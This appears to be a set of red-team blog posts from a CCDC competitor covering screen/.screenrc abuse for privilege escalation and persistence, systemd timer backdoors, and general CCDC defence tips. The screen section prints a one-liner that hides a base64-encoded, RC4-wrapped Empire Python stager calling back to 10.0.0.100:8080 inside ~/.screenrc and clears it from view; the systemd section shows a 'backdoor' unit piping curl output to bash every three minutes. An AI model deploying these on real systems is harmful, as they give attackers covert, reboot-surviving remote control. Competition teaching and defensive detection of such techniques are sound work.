Abusing screen and .screenrc to Escalate and Maintain Access

When it comes to playing the part of the hacker/red team in competitions like CCDC. I’m always looking for unique ways to gain and maintain access to systems. Lately I’ve toying with the idea of leveraging features in common administration tools instead of exploits or misconfigurations. My favorite of which is abusing screen and .screenrc features to establish a foothold.

Why screen?

The screen command is definitely something I think every Linux Administrator uses every day. The reason why is simple, its probably the best way to maintain your work or run longer jobs without the effort of creating a system service. This is because when the screen command issued it effective creates another terminal (TTY) independent of the current users session. So if the administrators session isn’t stable or its impractical to wait, the job won’t be affected.

Fun Fact: By default screens are actually allocated a TTY and spawned by the init process, not the current user. So the screen process, TTY, and child processes won’t show in user level process listings or the standard last, w, or who command outputs. Instead you can use the who command with the -a (all) option to also display TTYs spawned by init.

Abusing screen and .screenrc via abandoned screens

Given that the most common use case for the screen command is administrators running jobs that can’t be interrupted. Therefore it’s always worth checking to see if any screens are running when you compromise a users account. Its not that uncommon for administrators to elevate privileges or even switch users all together within a screen. If an administrator switches to root/superuser account in a screen, the screen still only allows the original spawning user access. If that’s a lower privilege user that you’ve compromised, its an easy privilege escalation case.

So you might be thinking that the administrator should have just used sudo to elevate privileges within the screen instead of switching to root/superuser. Its definitely a safer option, but not the best option because once a users password is entered for a sudo command, by default its not requested again for 15 minutes. So if you’re in the right screen at the right time, or willing to wait long enough, sudo can still be used as a means to privilege escalate as well.

You can check to see if the current user within a screen can sudo without prompt by running sudo in non-interactive mode and seeing if it errors out.

if sudo -n true 2>/dev/null; then echo "I can sudo"; else echo "I cannot sudo"; fi

Abusing screen and .screenrc via multi-user support

The alternative laid out by the developer of the screen tool is actually a rather detailed set of permissions and multi-user support for individual screens themselves. Going over the individual permissions that are available is probably out of the scope of this post. However multi-user support is actually used in cases where multi individuals need to access jobs running in a screen of a service account, but aren’t actually allowed superuser privileges.

For instances, in my consultant days we had external nmap scanning systems, all the consultants had access to scans running within screens, in case they needed to be modified or stopped. This allowed us to maintain access to all running jobs, but we weren’t required to have superuser access to switch users or elevate privileges to kill other users processes.

To use multi-user support, make sure the SUID bit is set on the screen executable and modify the individual users (~/.screenrc or global (/etc/screenrc) screenrc files. For example, if you wanted to try and maintain access to screens created by root via a compromised standard users named tester, you could include the following in /root/.screenrc file.

multiuser on
acladd tester

If screens are not being used enough to leverage changes to the .screenrc file. You can also modify one of the target users profile files to issue the screen command automatically. You can do this by adding ‘screen -RR’ to the users ~/.bashrc file or the global /etc/bashrc file. This will reattach to any existing screen or create a screen and attach to it, once login has completed.

Note: For highly secure environments its likely best to disable multi-user support in the global screenrc file. Also consider setting your global sudoers configure to timestamp_timeout=0, will require a password for every use of the sudo command. Change control and/or watchers on resource (~.*rc) and profile files might also help.

Abusing screen and .screenrc with stuff and clear

Maintaining Access with the stuff and clear technique

Leveraging multi-user support isn’t the only way of abusing screen and .screenrc to maintain access. Instead I now utilize a technique I call stuff and clear. In this technique the target users .screenrc file is modified to create a screen layer whenever a screen is executed. This arbitrary, named layer allows for the command “stuff” to send raw characters to the screen.

Luckily, the builtin printf command will handle the raw character encoding. So printf can type out shell code, send an return key press, type out the clear command, and send a final return key press. The stuff command will then effectively create the same screen pop effect that already happens when a new screen is created. So unless the user enters copy mode and scrolls up or errors occur, they are unlikely to notice.

Here is a code segment from a Empyre module I wrote for CCDC a few years ago, that does just as a described. It will write an Empyre shell to the users .screenrc file using the stuff and clear technique.

echo 'screen -t "python"' >> ~/.screenrc && printf "stuff \""'echo \\'"\"import sys,base64;exec(base64.b64decode(\\\'bU9WakhVPSdSSVRQYURSbFFwJwppbXBvcnQgc3lzLCB1cmxsaWIyO289X19pbXBvcnRfXyh7MjondXJsbGliMicsMzondXJsbGliLnJlcXVlc3QnfVtzeXMudmVyc2lvbl9pbmZvWzBdXSxmcm9tbGlzdD1bJ2J1aWxkX29wZW5lciddKS5idWlsZF9vcGVuZXIoKTtVQT0nSDNTRTIwUVlSRlZGWTFVOCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKV07YT1vLm9wZW4oJ2h0dHA6Ly8xMC4wLjAuMTAwOjgwODAvaW5kZXguYXNwJykucmVhZCgpO2tleT0nM2ViMDMwYzZhYjA5OWIwYTM1NTcxMmZlMzhkNTlmZmInO1MsaixvdXQ9cmFuZ2UoMjU2KSwwLFtdCmZvciBpIGluIHJhbmdlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp\\\'));"'\\'"\" | python &\rclear\r"'"' >> ~/.screenrc

Fun Fact: Screen also supports not terminating windows when a screen is exited. This can be done by adding the ‘zombie kr’ line to the .screenrc file. In the case of some payload types, this would mean the shell process would still be running until an administrator killed the screen manually.

One Final Thought

Since I’m the current maintainer of linuxprivchecker, I’ve also taken the time to begin to make changes to help detect these opportunities related to abusing screen and .screenrc for privilege escalation. I hope to continue to add features to this tool and provide related blog posts like this one. These new features will likely sit in the unstable branch for some time before they make it to master. Any assistance with testing, feedback, or ideas is always welcome.

Establishing Persistence with systemd.timers

With the push to covert all of our old init style processes managers to the new cutting-edge systemd, comes a whole new set of security concerns. In several recent competitions, I was able to establish persistence with systemd.timer units. Timer units are designed to run repetitive tasks on behalf of an existing service. This is normally used to establish service watchers, in case a service were to hang of crash. However, we can take advantage of this build-in core functionality to establish near-kernel level persistence with systemd.timers. As an added bonus, it’s a bit more difficult to find then a crontab and there are several tools that can convert existing crontabs to systemd.timers.

In order to take advantage of persistence with systemd.timers, we just need write access to the /etc/systemd/system/ or /usr/lib/systemd/system/ directory. With a user with write access, normally only root, we can create a service unit file and a timer unit file. Once the files are created, we can register the timer unit with systemd and it will execute our service unit, per our timer unit schedule. Timer units can even be registered with systemd to be started at boot automatically, to maintain persistence through reboots.

Example persistence with systemd.timers

To establish persistence with systemd.timers, we first need to create a service unit. In this case I created a file called /etc/systemd/system/backdoor.service, which would connect to a web server and execute a the given command.


ExecStart=curl --insecure|bash

Next I created a timer unit that launches my backdoor.service every 3 mins, to execute my latest CnC commands. The following is the contents of the file, /etc/systemd/system/backdoor.timer, which I used throughout the CCDC competitions.

Description=Runs backdoor ever 3 mins



Once those two files are created within one of the systemd unit directories, we can simple establish the persistence with systemd.timer, by starting the unit timer.

systemctl start backdoor.timer

Then to ensure the timer is automatically started a boot, tell systemd to enable the timer unit at startup.

systemctl enable backdoor.timer

As far as I can tell from my research, there isn’t any easy way to detect these types of backdoors. However, in the CCDC competition space, I highly recommend running a command like the following in a screen to identify changes to timer units.

watch -d systemctl list-timers

Example persistence with Single Service Unit

The alterative is to have a single service unit that takes advantage of an exit code of 0; to continuously restart. Bellow is an example of such a service unit file, that will just restart every 3 mins and also execute our CnC command.

ExecStart=curl --insecure|bash; exit 0

For more detailed information see the full documentation at: https://www.freedesktop.org/software/systemd/man/ or through your local man pages.

CCDC Tips and Tricks

So as many people probably already know, I’ve competed in the Collegiate Cyber Defense Competition (CCDC) for the last several years.  I’m now employed as a penetration tester, and hope to join the CCDC red team one of these days; to reek havoc.

So I hope to provide some level of assistance to those preparing compete in CCDC as well. Much of this will be guide will be Linux based. This is because many of the scored services (sometimes upwards of 70%) are Linux based and that’s also my background.

So to start off with, here are some general CCDC tips and tricks.

1. Any web service is still just a web server

Don’t freak out if you are asked to manage, configure, or setup a web service/product that is new to you. Just remember the fundamentals, there is a web server (such as apache or tomcat), some data storage (such as a file, mysql, or etc), and pages that are being served (html). Protect access to these three points of entry by limiting file/folder permissions and change passwords.

2. Setup core services from scratch

Before you enter the competition room, setup all the services you think might be scored and compile/configure them by hand.  This will give you a better understanding of how the service is configured, some of the changes you can make, and also how to enhance the overall security. Once you have everything setup, print the configuration files out. This can be a life saver, because worst case you can just reconfigure the entire service to your known good configuration, by hand.

3. Setup an IN+OUT Firewall

The reason why I even mention this one is simple. In CCDC you have little to no choice on weather to run some rather vulnerable services. Limiting the amount of ports that are/can listen on your server is a great idea. But as am attacker, i’m here to tell you that it doesn’t matter much. You see most people use a connection new or established statement in their iptables. This means that if your service gets popped by an exploit, the call back will be an established connection. So make sure you have detailed out rules instead of that established statement, that way attackers can’t form a connect outside the scope of the service port.

4. Don’t eat that DoS/DDoS attack

Even though its specify prohibited in the CCDC team packet, I’m here to tell you those “wild stallions are hard to keep down” and they will do it anyway (David Durkee). So protect yourself, configure your services too only allow X number of connections per IP address, and on Linux systems enable syn cookies.

5. Report everything

I can’t even fathom how many points we have gotten back over the years by just calling them out on their errors or by reporting things that just seemed amiss. If you are attacked or think you were attacked. Report it. If you think their is an error with how a service is being scored. Report it. If you think their inject conflicts with previous information, the topology, or doesn’t make good business sense. Report it. Generating reports can be time consuming, but it can really only help you out.

6. Figure out what is “Really” being scored

Now again, this is one of those things that is prohibited in the team packet; aka doing forensic activities on the scoring engine. However, I encourage you to heavily log and/or monitor every interaction with your score services to passively identify what requests are really being made to your servers. With verbose enough logging you might find that AD/DNS is being scored based on an old SRV record that is no longer in use, or that web email is being scored based on the existence of an index file outside the scope of the Roundcube web application. Crazy things happen, review all of the logs.

7. Interact with your services regularly

This is one for more of a regional and nation level of competition, but none the less; interact with all of your score services. Make yourself an account and make sure things operate the way you would expect. If you start getting error or worse everything is being sold for negative moneys on your eCommerce site, investigate and report that activity. The service doesn’t have be spewing out errors or unreachable to impact the bottom line.

8. Backup all of the things

I’m not sure why this one even needs to be mentioned in this day and age, but back up all of the things. Every time you need to change a configuration file just go ahead and back it up. You never know when you might need to revert changes or reinstall a known good configuration. In fact at higher levels of competition, notably nations, you have physical equipment, so if your box gets popped, your the one rebuilding it.

9. Hide important files and backups

Sometimes there is little to no choice one weather to backup to the same local disk or to write that important file to local disk. However, try your best to obfuscate what the files really are by placing them in a different directory or giving them an obscure file name. The red team is somewhat lazy in this regard and are not going to start opening every file on the system to find your logs or backup configs. However, it you just add .old or .bak to the end of that configuration file, don’t be surprised if its gone the next time you have to restore it because of an attack.

More things to come….I Hope